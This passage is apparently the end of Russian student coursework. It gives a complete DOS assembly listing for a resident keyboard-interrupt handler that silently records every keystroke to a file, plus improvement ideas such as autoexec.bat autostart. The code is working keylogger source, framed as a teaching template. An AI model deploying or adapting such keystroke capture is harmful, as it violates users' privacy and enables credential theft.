МЕНЮ


Фестивали и конкурсы
Семинары
Издания
О МОДНТ
Приглашения
Поздравляем

НАУЧНЫЕ РАБОТЫ


  • Инновационный менеджмент
  • Инвестиции
  • ИГП
  • Земельное право
  • Журналистика
  • Жилищное право
  • Радиоэлектроника
  • Психология
  • Программирование и комп-ры
  • Предпринимательство
  • Право
  • Политология
  • Полиграфия
  • Педагогика
  • Оккультизм и уфология
  • Начертательная геометрия
  • Бухучет управленчучет
  • Биология
  • Бизнес-план
  • Безопасность жизнедеятельности
  • Банковское дело
  • АХД экпред финансы предприятий
  • Аудит
  • Ветеринария
  • Валютные отношения
  • Бухгалтерский учет и аудит
  • Ботаника и сельское хозяйство
  • Биржевое дело
  • Банковское дело
  • Астрономия
  • Архитектура
  • Арбитражный процесс
  • Безопасность жизнедеятельности
  • Административное право
  • Авиация и космонавтика
  • Кулинария
  • Наука и техника
  • Криминология
  • Криминалистика
  • Косметология
  • Коммуникации и связь
  • Кибернетика
  • Исторические личности
  • Информатика
  • Инвестиции
  • по Зоология
  • Журналистика
  • Карта сайта
  • Резидентный обработчик клавиатуры (перехват нажатий клавиш и запись в файл)

    Процедура new_2fh перехватит прерывание 2Fh, и если прерывание вызвано

    вместе с функцией F1h, то в зависимости от подфункции значение которой

    находится в AL выполнит следующие действия:

    1. Если подфункция находящаяся в AL=00h (код наличия в памяти нашего

    обработчика), то наш обработчик возвратит в AL=FFh и выйдет из

    прерывания.

    cmp al,00h

    je inst

    inst: mov al,0ffh

    iret

    2. Если подфункция находящаяся в AL=01h (команда на удаление из памяти

    обработчика), то сохраним используемые регистры, вызовем процедуру fil

    (работа этой процедуры была описана выше), а затем освободим блоки памяти

    занятые нашим обработчиком, восстановим старые векторы 09h и 2Fh.

    Восстановим использовавшиеся регистры и выйдем из прерывания.

    Если мультиплексорное прерывание было вызвано с другой функцией либо с

    нашей функцией но с другими подфункциями, то обработчик передаст управление

    следующему по цепочке обработчику мультиплексорного прерывания.

    cmp ah,0f1h

    jne out_2fh

    cmp al,00h

    je inst

    cmp al,01h

    je off

    jmp short out_2fh

    inst: mov al,0ffh

    iret

    out_2fh:

    3.3. Листинг программы

    text segment 'code'

    assume cs:text,ds:text

    org 256

    main proc

    jmp init

    ; Поля данных резидентной секции

    old_2fh dd 0 ; Ячейка для сохранения системного вектора 2Fh

    old_09h dd 0 ; Ячейка для сохранения системного вектора 09h

    bufer db 34 dup(?) ; Буфер для скэн-кодов и флагов клавиатуры

    sch db 0 ; Счётчик нажатий клавиш

    filename db 's_code&f.txt',0 ; Константа содержащая имя файла с

    которым работает программа

    ; Обработчик от клавиатуры

    new_09h proc

    ; Сохраним используемые регистры

    push ax

    push bx

    push cx

    push dx

    push ds

    push cs ; Настроим DS на наш сегмент для простоты

    программирования

    pop ds

    in al,60h ; Получим скэн-код клавиши

    cmp al,80h ; Проверим, является ли скэн-код кодом нажатия

    ja exit ; Нет – на выход

    mov bh,0 ; 0(BH

    mov bl,sch ; Текущее значения счётчика в BL

    mov [bufer+bx],al ; Запишем в буфер скэн-код клавиши

    inc bl ; Увеличим смещение буфера

    push es ; Сохраним регистр ES

    mov ax,40h ; Настроим ES на начало области данных BIOS

    mov es,ax

    mov al,es:[17h] ; Занесём байт флагов клавиатуры в AL

    pop es ; Восстановим ES

    mov [bufer+bx],al ; Запишем байт флагов в буфер

    inc bl ; Увеличим смещение на 1

    add sch,2 ; Счётчик нажатий +2

    cmp sch,32 ; Пора скидывать буфер в файл?

    je go ; Да – на процедуру записи в файл

    jmp exit ; Нет – на выход

    go: call fil ; Вызов процедуры записи в файл

    ; Восстановим использовавшиеся регистры

    exit: pop ds

    pop dx

    pop cx

    pop bx

    pop ax

    jmp cs:old_09h ; Передадим управление системному

    обработчику “int09h”

    new_09h endp ; Конец процедуры обработчика от клавиатуры

    ; Процедура записи в файл скэн-кодов и флагов клавиатуры

    fil proc

    push cs ; Настроим DS на наш сегмент

    pop ds

    mov ah,3dh ; Функция открытия файла

    mov al,1 ; для записи

    mov dx,offset filename ; DS:DX ( ASCIIZ имени файла

    int 21h

    mov bx,ax ; Дескриптор в ВХ

    xor cx,cx ; Отчистим СХ

    xor dx,dx ; и DX

    mov ax,4202h ; Функция установки указателя в конец файла

    int 21h

    mov ah,40h ; Функция записи в файл

    mov cl,sch ; CL ( количество байт

    mov dx,offset bufer ; DS:DX ( адрес буфера

    int 21h

    mov ah,3eh ; Функция закрытия файла

    int 21h

    mov sch,0 ; Обнулим счётчик

    ret ; Выход из процедуры

    fil endp ; Конец процедуры записи в файл

    ; Обработчик мультиплексорного прерывания

    new_2fh proc

    cmp ah,0f1h ; Проверим номер функции мультиплексорного

    прерывания

    jne out_2fh ; Не наша – на выход

    cmp al,00h ; Подфункция проверки на повторную установку?

    je inst ; Да, сообщим о невозможности повторной

    установки

    cmp al,01h ; Подфункция выгрузки?

    je off ; Да – на выгрузку

    jmp short out_2fh ; Неизвестная подфункция, на выход

    inst: mov al,0ffh ; Программа уже установлена

    iret ; Выход из прерывания

    out_2fh:

    jmp cs:old_2fh ; Переход в следующий по цепочке

    обработчик прерывания 2Fh

    ; Выгрузим программу из памяти, предварительно восстановив все

    перехваченные ею векторы

    ; Сохраним используемые регистры

    off: push ds

    push es

    push dx

    push ax

    push bx

    push cx

    call fil ; Вызов процедуры записи в файл

    содержимого буфера

    ; Восстановим использовавшиеся регистры

    pop cx

    pop bx

    pop ax

    ; Восстановим вектор 09h

    mov ax,2509h ; Функция установки вектора

    lds dx,cs:old_09h ; Заполним DS:DX

    int 21h

    ; Восстановим вектор 2fh

    mov ax,252fh ; Функция установки вектора

    lds dx,cs:old_2fh ; Заполним DS:DX

    int 21h

    ; Получим из PSP адрес собственного окружения и выгрузим его

    mov es,cs:2ch ; ES ( окружение

    mov ah,49h ; Функция освобождения блока памяти

    int 21h

    ; Выгрузим теперь саму программу

    push cs ; Загрузим в ES содержимое CS, т.е. сегментный

    адрес PSP

    pop es

    mov ah,49h ; Функция освобождения блока памяти

    int 21h

    ; Восстановим использовавшиеся регистры

    pop dx

    pop es

    pop ds

    iret ; Возврат в вызвавшую программу

    new_2fh endp ; Конец процедуры обработки прерывания 2Fh

    end_res=$ ; Смещение конца резидентной части программы

    main endp

    tail db 'off' ; Ожидаемый хвост команды

    flag db 0 ; Флаг требования выгрузки

    tabl db '0123456789' ; Таблица для перевода BCD кода в ASCII

    time db 25 dup(?) ; Ячейка для сохранения текущей даты и времени

    ; Процедура создания файла

    div_f proc

    mov ah,3ch ; Функция создания файла

    mov cx,0 ; Без атрибутов

    lea dx,filename ; DS:DX ( ASCIIZ имени файла

    int 21h

    mov bx,ax ; Дескриптор в ВХ

    mov ah,40h ; Функция записи в файл

    mov cx,buflen ; CХ ( количество байт

    lea dx,buf ; DS:DX ( адрес строки

    int 21h

    mov ah,3eh ; Функция закрытия файла

    int 21h

    ret ; Выход из процедуры

    div_f endp ; Конец процедуры создания файла

    ; Процедура открытия файла и записи в него текущей даты и времени

    div2_f proc

    mov [time],0ah ; Запись в переменную time маркеров

    mov [time+1],0dh ; перехода на следующую строку

    mov ah,3dh ; Функция открытия файла

    mov al,1 ; для записи

    mov dx,offset filename ; DS:DX ( ASCIIZ имени файла

    int 21h

    mov bx,ax ; Дескриптор в ВХ

    push bx ; Сохраним дескриптор

    xor cx,cx ; Отчистим СХ

    xor dx,dx ; и DX

    mov ax,4202h ; Функция установки указателя в конец файла

    int 21h

    mov ah,02h ; Функция чтения времени из «постоянных» «CMOS»

    часов реального времени

    int 1ah ; Прерывание ввода – вывода для времени

    mov bx,offset tabl ; DS:DX ( адрес таблицы

    mov si,2 ; Установим смещение для переменной time

    mov ax,cx ; Часы и минуты сохраним в AX

    mov cx,12 ; Установим счётчик сдвига

    next: push ax ; Сохраним AX

    shr ax,cl ; Сдвинем AX на CL

    and al,0fh ; Получим номер ячейки в таблице прибавив

    маску

    xlat ; Получим ASCII код числа

    mov [time+si],al ; Занесём его в переменную time

    inc si ; Увеличим на 1 смещение

    cmp si,4 ; Смещение = 4 ?

    je ras ; Да, переход на метку ras

    vw: sub cl,4 ; Нет, уменьшим CL на 4

    pop ax ; Восстановим AX

    cmp cl,-4 ; Сравним CL с -4

    jne next ; Не равно – выполним ещё раз

    jmp ent1 ; Равно – переход на ent1

    ras: mov [time+si],':' ; Запишем в переменную time – «:»

    inc si ; Увеличим на 1 смещение

    jmp vw ; Перейдём на метку vw

    ent1: mov [time+si],' ' ; Запишем в переменную time – « »

    inc si ; Увеличим на 1 смещение

    mov ah,04h ; Функция чтения даты из «постоянных» «CMOS»

    часов реального времени

    int 1ah ; Прерывание ввода – вывода для времени

    mov ax,dx ; Дату сохраним в AX

    mov cx,12 ; Установим счётчик сдвига

    next1: push ax ; Сохраним AX

    shr ax,cl ; Сдвинем AX на CL

    and al,0fh ; Получим номер ячейки в таблице прибавив

    маску

    xlat ; Получим ASCII код числа

    mov [time+si],al ; Занесём его в переменную time

    inc si ; Увеличим на 1 смещение

    cmp si,10 ; Смещение = 10 ?

    je ras1 ; Да, переход на метку ras1

    vw1: sub cl,4 ; Нет, уменьшим CL на 4

    pop ax ; Восстановим AX

    cmp cl,-4 ; Сравним CL с -4

    jne next1 ; Не равно – выполним ещё раз

    jmp ent2 ; Равно – переход на ent2

    ras1: mov [time+si],'.' ; Запишем в переменную time – «.»

    inc si ; Увеличим на 1 смещение

    jmp vw1 ; Перейдём на метку vw1

    ent2: mov [time+si],0ah ; Запись в переменную time маркеров

    mov [time+si+1],0dh ; перехода на следующую строку

    pop bx ; Восстановим дескриптор

    mov ah,40h ; Функция записи в файл

    mov cx,20 ; CХ ( количество байт

    mov dx,offset time ; DS:DX ( адрес строки

    int 21h

    mov ah,3eh ; Функция закрытия файла

    int 21h

    ret ; Выход из процедуры

    div2_f endp ; Конец процедуры подготовки файла

    ; Процедура инициализации

    init proc

    mov cl,es:80h ; Получим длину хвоста PSP

    cmp cl,0 ; Длина хвоста = 0 ?

    je live ; Да программа запущена без параметров

    xor ch,ch ; Теперь CX=CL=длина хвоста

    mov di,81h ; DS:SI ( хвост в PSP

    lea si,tail ; DS:SI ( поле tail

    mov al,' ' ; Уберём пробелы из начала хвоста

    repe scasb ; Сканируем хвост, пока пробелы

    dec di ; DI ( первый символ после пробелов

    mov cx,3 ; Ожидаемая длина параметра

    repe cmpsb ; Сравниваем введённый хвост с ожидаемым

    jne live ; Введена неизвестная команда

    inc flag ; Введено «off», установим флаг запроса

    на выгрузку

    ; Проверим, не установлена ли уже данная программа

    live: mov ah,0f1h ; Установим нашу функцию

    mov al,0 ; и подфункцию на наличие нашей программы

    в оперативной памяти

    int 2fh

    cmp al,0ffh ; Программа установлена?

    je installed ; Да, при наличии запроса на выгрузку её можно

    выгрузить

    ; Сохраним вектор 2fh

    mov ax,352fh ; Функция получения вектора 2fh

    int 21h

    mov word ptr cs:old_2fh,bx ; Сохраним смещение системного

    обработчика

    mov word ptr cs:old_2fh+2,es ; Сохраним сегмент системного

    обработчика

    ; Заполним вектор 2fh

    mov ax,252fh ; Функция установления вектора прерывания 2fh

    mov dx,offset new_2fh ; Смещение нашего обработчика

    int 21h

    ; Сохраним вектор 09h

    mov ax,3509h ; Функция получения вектора 09h

    int 21h

    mov word ptr cs:old_09h,bx ; Сохраним смещение системного

    обработчика

    mov word ptr cs:old_09h+2,es ; Сохраним сегмент системного

    обработчика

    ; Заполним вектор 09h

    mov ax,2509h ; Функция установления вектора прерывания 09h

    mov dx,offset new_09h ; Смещение нашего обработчика

    int 21h

    mov ah,4eh ; Функция поиска файла

    lea dx,filename ; DS:DX ( ASCIIZ имени файла

    int 21h

    cmp ax,12h ; Файл не найден?

    je creat ; Да, создадим файл

    call div2_f ; Нет, вызов процедуры открытия файла и записи

    в него текущей даты и времени

    jmp by ; Переход на метку by

    creat: call div_f ; Вызов процедуры создания файла

    ; Выведем на экран информационное сообщение

    by: mov ah,09h ; Функция вывода на экран

    lea dx,mes ; DS:DX ( адрес строки

    int 21h

    mov ax,3100h ; Функция «завершиться и остаться резидентным»

    mov dx,(end_res-main+10fh)/16 ; Размер в параграфах

    int 21h

    installed:

    cmp flag,1 ; Запрос на выгрузку установлен?

    je unins ; Да, на выгрузку

    ; Выведем на экран информационное сообщение

    mov ah,09h ; Функция вывода на экран

    lea dx,mes1 ; DS:DX ( адрес строки

    int 21h

    ; Выведем предупреждающий звуковой сигнал

    mov cx,5 ; Количество гудков

    mov ah,02h ; Функция вывода на экран

    l: mov dl,07h ; ASCII код зуммера

    int 21h

    loop l ; Повторим CX раз

    mov ax,4c01h ; Функция завершения с кодом возврата

    int 21h

    unins:

    ; Перешлём в первую (резидентную) копию программы запрос на выгрузку

    mov ax,0f101h ; Наша функция с подфункцией выгрузки

    int 2fh ; Мультиплексное прерывание

    ; Выведем на экран информационное сообщение

    mov ah,09h ; Функция вывода на экран

    lea dx,mes2 ; DS:DX ( адрес строки

    int 21h

    mov ax,4c00h ; Функция завершения программы

    int 21h

    buf db 'Skencode&Klav_flag file',0ah,0dh

    buflen equ $-buf

    mes db 'Program installed$'

    mes1 db 'Program already installed$'

    mes2 db 'Program is DIE$'

    init endp

    text ends

    end main

    3.4. Рекомендации по улучшению

    - Главным недостатком этой программы является неудобное визуальное

    восприятие записей в файле. Т.е. мы видим не ASCII-код который

    образовался в результате нажатия клавиши, а так называемый скэн-код

    (номер клавиши) и состояние байта флагов клавиатуры, в котором он

    находился при этом нажатии. При необходимости можно написать процедуру в

    нашем обработчике либо в виде отдельной программы, которая анализировала

    бы байт флагов и в зависимости от этого подставляла ASCII-код

    соответствующий скэн-коду нажатой клавиши.

    - Вторым недостатком нашей программы является не всегда удобный механизм

    выгрузки программы из оперативной памяти. Можно предусмотреть выгрузку

    нашей программы специальной не стандартной комбинацией клавиш.

    - Третий существенный недостаток программы состоит в том, что наш

    обработчик не реагирует на сочетание клавиш Clrl+Alt+Del. Так как наш

    обработчик перехватывает прерывания от клавиатуры раньше чем системный

    обработчик “int09h”, то было бы целесообразно при этом сочетании

    сбрасывать содержимое буфера в файл, а затем передавать управление

    системному обработчику.

    - Можно предусмотреть запись в файл autoexec.bat либо config.sys строки с

    путём к нашему файлу, при запуске программы с параметром вводимым с

    командной строки.

    - Можно предусмотреть коррекцию размеров буфера, а также задавать имя

    рабочего файла с помощью всё тех же параметров вводимых с командной

    строки.

    - В зависимости от того в каких целях применяется данный обработчик, можно

    запретить нажатие какой либо клавиши, комбинации клавиш или

    последовательности.

    Данная программа является шаблоном для резидентных обработчиков

    прерываний, в частности обработчиков прерываний от клавиатуры, и является

    огромным полем для творчества.

    4. Список используемой литературы

    1. П.И.Рудаков, К.Г.Финогенов «Программируем на языке ассемблера IBM PC»,

    Обнинск 1997г.

    2. Зубков С.В. «Assembler для DOS, Windows и UNIX», Москва 2000г.

    3. Богумирский Б.С. «Руководство пользователя ПЭВМ», Санкт–Петербург 1994г.

    Страницы: 1, 2, 3, 4


    Приглашения

    09.12.2013 - 16.12.2013

    Международный конкурс хореографического искусства в рамках Международного фестиваля искусств «РОЖДЕСТВЕНСКАЯ АНДОРРА»

    09.12.2013 - 16.12.2013

    Международный конкурс хорового искусства в АНДОРРЕ «РОЖДЕСТВЕНСКАЯ АНДОРРА»




    Copyright © 2012 г.
    При использовании материалов - ссылка на сайт обязательна.